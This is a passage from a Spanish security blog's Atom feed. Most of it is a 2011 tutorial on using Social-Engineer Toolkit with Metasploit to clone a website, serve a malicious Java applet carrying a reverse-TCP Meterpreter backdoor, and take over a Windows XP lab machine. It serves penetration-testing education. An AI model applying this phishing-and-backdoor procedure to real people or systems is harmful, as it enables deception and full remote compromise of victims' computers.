src="http://4.bp.blogspot.com/-06mrphjy4v8/TuUBfwO9CmI/AAAAAAAABdM/ckgP4uPCS98/s640/Metasploit_Update.png" border="0" height="393" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-1jqWQVmmhog/TuUBtCfRF7I/AAAAAAAABdY/q0eYL6DaO4E/s1600/set_update.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/-1jqWQVmmhog/TuUBtCfRF7I/AAAAAAAABdY/q0eYL6DaO4E/s640/set_update.png" border="0" height="393" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-6643315271193479373?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=x6YONG-PM68:6c289X4Lq5Y:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=x6YONG-PM68:6c289X4Lq5Y:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=x6YONG-PM68:6c289X4Lq5Y:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=x6YONG-PM68:6c289X4Lq5Y:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=x6YONG-PM68:6c289X4Lq5Y:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=x6YONG-PM68:6c289X4Lq5Y:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=x6YONG-PM68:6c289X4Lq5Y:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/x6YONG-PM68" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/6643315271193479373/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=6643315271193479373" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/6643315271193479373?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/6643315271193479373?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/x6YONG-PM68/updating-metasploit-framework-social.html" title="Updating Metasploit Framework &amp; Social Engineer Toolkit  en BackTrack 5" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-06mrphjy4v8/TuUBfwO9CmI/AAAAAAAABdM/ckgP4uPCS98/s72-c/Metasploit_Update.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/12/updating-metasploit-framework-social.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUQHQn46eCp7ImA9WhRQFU0.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-2027969104317660737</id><published>2011-12-10T01:19:00.015-06:00</published><updated>2011-12-10T01:48:53.010-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-10T01:48:53.010-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="VMware" /><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="Metasploit" /><category scheme="http://www.blogger.com/atom/ns#" term="BackTrack" /><title>Vector de Ataque Web con Social-Engineer Toolkit (SET)</title><content type="html">&lt;div style="text-align: justify;"&gt;Social-Engineer Toolkit (SET) es un conjunto de colección de scripts en Python especialmente diseñadas para realizar ataques de ingeniería social en procesos de auditorias de seguridad. Esta herramienta fue creada por David Kennedy (ReL1K), el mismo creador de otra herramienta muy popular llamada Fast-Track, que también es una herramienta que automatiza algunos ataques más comunes y más usados en las pruebas de penetración (penetration test) mediante algunos scripts hechos en Python.&lt;br /&gt;&lt;br /&gt;Social-Engineer Toolkit (SET) nos permite crear archivos PDF, sitios web falsos y enviar correos electrónicos con código malicioso incrustado, por cierto también se integra con el Metasploit Framework.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-ydSHCQ5DFPU/TuMIU8EjvnI/AAAAAAAABaw/fFDDRntEIBA/s1600/Social_Engineer_Toolkit.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 298px; height: 145px;" src="http://4.bp.blogspot.com/-ydSHCQ5DFPU/TuMIU8EjvnI/AAAAAAAABaw/fFDDRntEIBA/s640/Social_Engineer_Toolkit.png" alt="" id="BLOGGER_PHOTO_ID_5684385297155672674" border="0" /&gt;&lt;/a&gt;Como bien sabran y se han dado cuenta, la ingeniería social no es nada nuevo, los ataques de ingeniería social están ahora en su punto más alto, es decir en pleno auge y siempre han sido un gran riesgo para muchas organizaciones. Una persona que esta tratando de convencer a otras personas para que realicen actos que normalmente no harian es muy antigua como la misma historia de la tierra :D&lt;br /&gt;&lt;br /&gt;Muchos creen que la ingeniería social es uno de los mayores riesgos que enfrentan las organizaciones actualmente, ya que es muy difícil proteger a las organizaciones de estos ataques. Por ejemplo puede que se acuerden del ataque a Google, del llamado “&lt;a href="http://en.wikipedia.org/wiki/Operation_Aurora"&gt;Operación Aurora&lt;/a&gt;” (también conocida como Comele o Hydraq) en el que la técnica de ingeniería social fue utilizada para atacar a Gmail y otras fuentes de Google.&lt;br /&gt;&lt;br /&gt;Un vector de ataque es la vía que se utiliza para obtener información o acceso a un determinado sistema y la herramienta Social-Engineer Toolkit (SET) clasifica a los ataques por vectores de ataques web, correo, electrónico y también los ataques basados en USB. Utiliza correo electrónico, sitios web falso y otros vectores que típicamente lo que hacen es engañar a los usuarios a comprometer la información sensible. Cada vector puede tener éxito o todo lo contrario, dependiendo del objetivo a atacar y también el tipo de comunicación utilizada. SET también viene con correos electrónicos y plantillas de páginas web ya predefinidas que pueden ser utilizadas para los ataques de ingeniería social, también utiliza la herramienta Metasploit Framework. Así que en este post se mostrara un ejemplo de vector de ataque basado en web, manos a la obra y listos para la primera prueba.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Herramientas Utilizadas&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.secmaniac.com/download/"&gt;Social-Engineer Toolkit (SET)&lt;/a&gt; versión 2.5 (incluida en BackTack 5)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.blogger.com/metasploit.com/download/"&gt;Metasploit Framework&lt;/a&gt; versión 4.2.0 (incluida en BackTack 5)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.blogger.com/www.vmware.com/go/downloadworkstation"&gt;VMware Workstation&lt;/a&gt; versión 8&lt;/li&gt;&lt;li&gt;Windows XP SP3 (La victima o el objetivo a atacar)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.blogger.com/www.backtrack-linux.org/downloads/"&gt;Backtrack 5&lt;/a&gt; R1 (Equipo atacante o penetration testers machine)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Instalación de Social Engineer Toolkit&lt;/span&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt; (SET)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;La instalación de SET es sencilla, lo que necesitamos es tener instalado Phyton y Metasploit Framework, ambas herramientas están instaladas en la distribución de BackTrack y no hay que preocuparnos por nada sobre cosas de la configuración e instalación, solo tenemos que tener actualizados a las versiones más recientes. Pero si requieren instalarlo en alguna otra distribución diferente, solo abrir la consola y teclear o copiar el siguiente comando.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;svn co http://svn.secmaniac.com/social_engineering_toolkit set/&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Después de ejecutar el comando anterior, tendremos un nuevo directorio que contiene todas herramientas necesarias para la ejecución de Social-Engineer Toolkit (SET).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Ejecutando Social-Engineer Toolkit (SET)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Para ejecutar SET es un proceso sencillo, ya que solo tenemos que abrir una terminal o consola y simplemente tenemos que teclear ./set. Bueno lo primero tenemos que estar en el directorio donde tenemos la herramienta, en BackTrack se encuentra en el directorio /pentest/exploits/set/. Lo haremos de la siguiente manera.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;cd /pentest/exploits/set/&lt;/span&gt;&lt;br /&gt;root@bt:/pentest/exploits/set# &lt;span style="color: rgb(51, 255, 51);"&gt;ls&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;config modules readme reports set set-automate set-proxy set-update setup.py set-web src&lt;/span&gt;&lt;br /&gt;root@bt:/pentest/exploits/set# &lt;span style="color: rgb(51, 255, 51);"&gt;./set&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-CC_22sVuQTQ/TuMIoaoyVfI/AAAAAAAABa8/hXN8rY8Dv8o/s1600/Social_Engineer_Toolkit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/-CC_22sVuQTQ/TuMIoaoyVfI/AAAAAAAABa8/hXN8rY8Dv8o/s640/Social_Engineer_Toolkit.png" border="0" height="393" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Ejecución de Social-Engineer Toolkit (SET).&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El comando ./set inicia la ejecución de SET y nos muestra el menú inicial. En este post veremos un ejemplo de un vector de ataque basado en web, clonando un sitio web y utilizando el método de ataque de Java Applet.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Website Attack Vectors&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Los vectores de ataque web son probablemente uno de los aspectos más avanzados e interesantes de esta herramienta ya que están especialmente diseñados para ser de un aspecto muy creíble y de una apariencia muy atractiva para la víctima. Esta herramienta puede clonar sitios web que son idénticos a los sitios de confianza que normalmente visita un usuario normal, esto asegura a la víctima de que aparentemente está visitando un sitio legítimo.&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Java Applet Attack&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Uno de los ataques basados en un sitio web que tienes disponible Social-Engineer Toolkit (SET), es el ataque de Java Applet (Java Applet Attack), es uno de los vectores de ataque más exitoso de esta herramienta. Este ataque malicioso lo que hace es mostrar un applet de Java en el navegador web invitando a que el usuario de clic, en este caso a ejecutar el applet. Este ataque no se considera una vulnerabilidad de Java.&lt;br /&gt;&lt;br /&gt;Para ejecutar este ataque en el menú principal de SET debemos primero elegir la opción 2, &lt;span style="font-style: italic;"&gt;Website Attack Vectors&lt;/span&gt;. Al elegir la esta opción, nos mostrara en consola las siguientes opciones.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;1) Java Applet Attack Method&lt;br /&gt;2) Metasploit Browser Exploit Method&lt;br /&gt;3) Credential Harvester Attack Method&lt;br /&gt;4) Tabnabbing Attack Method&lt;br /&gt;5) Man Left in the Middle Attack Method&lt;br /&gt;6) Web Jacking Attack Method&lt;br /&gt;7) Multi-Attack Web Method&lt;br /&gt;8) Create or import a CodeSigning Certificate&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-8Yb0pDy11QQ/TuMJFek33hI/AAAAAAAABbI/e-SfyqDKpZY/s1600/Java_Applet_Attack_Method.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/-8Yb0pDy11QQ/TuMJFek33hI/AAAAAAAABbI/e-SfyqDKpZY/s640/Java_Applet_Attack_Method.png" border="0" height="393" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Java Applet Attack Method&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Elegimos la opción 1, Java Applet Attack Method y nos mostrara lo siguiente.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-gKJfqvQtEvk/TuMJZg8wC_I/AAAAAAAABbU/VtL61fjqHbM/s1600/Website_Cloner.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/-gKJfqvQtEvk/TuMJZg8wC_I/AAAAAAAABbU/VtL61fjqHbM/s640/Website_Cloner.png" border="0" height="393" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Elegimos la opción que 1 o 2, en mi caso la opción 2 donde pongo el sitio a clonar, en mi caso puse mi blog, delfirosales.blogspot.com y se generara la clonación del sitio.&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-GWjk4qt48QY/TuMJm9adDrI/AAAAAAAABbg/4mA7bPvnOHs/s1600/Website_Cloner2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/-GWjk4qt48QY/TuMJm9adDrI/AAAAAAAABbg/4mA7bPvnOHs/s640/Website_Cloner2.png" border="0" height="393" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Hemos creado un servidor de alojamiento con un sitio web clonado en este caso, el sitio es mi blog delfirosales.blogspot.com.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;  En el siguiente paso dependiendo del escenario u objetivo elegimos la opción adecuada, en mi caso realice la prueba con la opción 2, Windows Reverse_TCP Meterpreter.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Wn3pk_Q7bj0/TuMKIwi3hUI/AAAAAAAABbs/slnaJwsCbh8/s1600/Windows%2BReverse_TCP%2BMeterpreter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/-Wn3pk_Q7bj0/TuMKIwi3hUI/AAAAAAAABbs/slnaJwsCbh8/s640/Windows%2BReverse_TCP%2BMeterpreter.png" border="0" height="393" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Después elegimos el backdoor, en mi caso elegí la opción 16, Backdoored Executable (BEST), elegimos el puerto, esperamos a que se genere la configuración y esperamos a que cargue Metasploit Framework.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-20vGzNVAEjE/TuMKYKqZVSI/AAAAAAAABb4/Dv1YzftWQJA/s1600/Backdooring_MSF_Listener.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/-20vGzNVAEjE/TuMKYKqZVSI/AAAAAAAABb4/Dv1YzftWQJA/s640/Backdooring_MSF_Listener.png" border="0" height="393" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-qvwGabATU70/TuMKoqRn2MI/AAAAAAAABcE/-o5SEAWiskM/s1600/Metasploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/-qvwGabATU70/TuMKoqRn2MI/AAAAAAAABcE/-o5SEAWiskM/s640/Metasploit.png" border="0" height="393" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ahora que tenemos todo listo, solo tenemos que tener un objetivo a atacar para que navegue a través del sitio malicioso. Al llegar a la pagina web, la victima se le mostrar una advertencia pop-up&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;tal como se muestra en la siguiente figura.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-L0Hx2-Op-ps/TuMK-grCipI/AAAAAAAABcQ/IJhAO1sijN0/s1600/Java_Execute.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/-L0Hx2-Op-ps/TuMK-grCipI/AAAAAAAABcQ/IJhAO1sijN0/s640/Java_Execute.png" border="0" height="393" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Si la victima da clic en Ejecutar (que por cierto la mayoría de los usuarios la hacen)&lt;span style="mso-spacerun:yes"&gt; el exploit&lt;/span&gt; será ejecutado y con esto tendremos acceso y el control total del sistema de la victima, en este caso la maquina con Windows XP SP3, tal y como se muestran en las siguientes imágenes.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-J1prdhaXo5w/TuMLTEDiYWI/AAAAAAAABcc/ba3e0pPo-VY/s1600/Exploit_Meterpreter_session.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/-J1prdhaXo5w/TuMLTEDiYWI/AAAAAAAABcc/ba3e0pPo-VY/s640/Exploit_Meterpreter_session.png" border="0" height="393" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-K2D3m188AEk/TuMLkutYSDI/AAAAAAAABco/u6SBUQ4WaR4/s1600/starting_exploit_sessions.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/-K2D3m188AEk/TuMLkutYSDI/AAAAAAAABco/u6SBUQ4WaR4/s640/starting_exploit_sessions.png" border="0" height="393" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;De vuelta en nuestro equipo atacante, la sesión de Meterpreter se ha establecido correctamente y ahora tenemos el acceso a la maquina de la victima, tal como se muestra.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-aNXBtG5VQmQ/TuML02e5QLI/AAAAAAAABc0/G5VjLZdyOsA/s1600/Shell_Windows_Metasploit_SET.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/-aNXBtG5VQmQ/TuML02e5QLI/AAAAAAAABc0/G5VjLZdyOsA/s640/Shell_Windows_Metasploit_SET.png" border="0" height="393" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Referencias:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_%28SET%29"&gt;Computer Based Social Engineering Tools: Social Engineer Toolkit (SET)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/Social-Engineering-Art-Human-Hacking/dp/0470639539/"&gt;Social Engineering: The Art of Human Hacking&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/Penetration-Testers-Source-Toolkit-Third/dp/1597496278/"&gt;Penetration Tester's Open Source Toolkit, Third Edition&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-2027969104317660737?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=yxZuUzafink:ATx-J4OC3lU:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=yxZuUzafink:ATx-J4OC3lU:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=yxZuUzafink:ATx-J4OC3lU:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=yxZuUzafink:ATx-J4OC3lU:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=yxZuUzafink:ATx-J4OC3lU:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=yxZuUzafink:ATx-J4OC3lU:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=yxZuUzafink:ATx-J4OC3lU:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
